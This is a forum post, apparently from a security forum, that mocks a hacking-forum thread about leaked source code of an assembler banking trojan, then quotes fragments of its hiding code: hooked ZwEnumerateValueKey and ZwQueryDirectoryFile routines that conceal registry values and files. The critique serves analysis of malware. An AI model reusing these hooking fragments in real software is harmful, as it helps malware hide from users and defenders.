Some thoughts from the industry leading experts
hxxps://
www.opensc.ws/leaked-sources/19485-tinb ... -code.html
favorites:
About the language used:
I find it pretty funny to write a banking bot for windows in assembler... both stupid and funny...
About the code itself:
Code looks great the little i have checked.
About the compilation and testing environment:
I know how to compile, and compiles without errors. But doesn't work, I tested under XP SP3
I know how to compile
Join and compile!
XP SP3
About the experts programming skills:
well... firstly, C/C++ compiler in most circumstances will generate more optimized code in terms of size and speed...
About the "16-bit mode" (C):
basically nothing you can do in ASM, that you can't do with a modern C/C++ compiler (except for some really low level stuff, like 16-bit mode)
Some thoughts about crypters:
Crypters should help
should help, as always XD
About the rootkit part:
It is not rootkit.
About the reposting publically available pack of crapware source code:
then lets make the forum paid forum and these kind of sources can be posted in special access. un idea!
Conclusion: a fucken zoo.
I've only a little hope none of these monkeys will not blindly copy-paste anything from this "sources" anywhere, without checking. Otherwise the following fuckups (just a few examples from "not a rootkit" part) will be in every this "Code looks great"(C) based malware
Code: Select allNewZwEnumerateValueKey proc p1:dword, p2:dword, p3:dword, p4:dword, p5:dword, p6:dword
local RealZwEnumerateKey : dword
local nCount : dword
local lpName : dword
mov RealZwEnumerateKey, eax
mov nCount, 0
mov eax, p4
.if p3==0
lea eax, (KEY_VALUE_BASIC_INFORMATION ptr [eax])._Name
.elseif p3==1
lea eax, (KEY_VALUE_FULL_INFORMATION ptr [eax])._Name
.else
xor eax, eax
push p2
pop nCount
.endif
mov lpName, eax
@RealZwEnumerateKey:
push p6 ; ResultLength
push p5 ; Length
push p4 ; KeyValueInformation
push p3 ; KeyValueInformationClass
push nCount ; Index
push p1 ; KeyHandle
call RealZwEnumerateKey ; Real ZwEnumerateValueKey
.if eax!=STATUS_SUCCESS
Code: Select allNewZwQueryDirectoryFile proc p1:dword, p2:dword, p3:dword, p4:dword, p5:dword, p6:dword, p7:dword, p8:dword, p9:dword, p10:dword, p11:dword
local RealZwQueryDirectoryFile : dword
mov RealZwQueryDirectoryFile, eax
@NextQuery:
push p11 ; RestartScan
push p10 ; FileName
push p9 ; ReturnSingleEntry
push p8 ; FileInformationClass
push p7 ; FileInformationLength
push p6 ; FileInformation
push p5 ; IoStatusBlock
push p4 ; ApcContext
push p3 ; ApcRoutine
push p2 ; Event
push p1 ; FileHandle
call RealZwQueryDirectoryFile ; Real ZwQueryDirectoryFile
.if eax!=STATUS_SUCCESS
ret
Code: Select all assume eax : ptr FILE_BOTH_DIRECTORY_INFORMATION, edx : ptr FILE_BOTH_DIRECTORY_INFORMATION
mov eax, p6
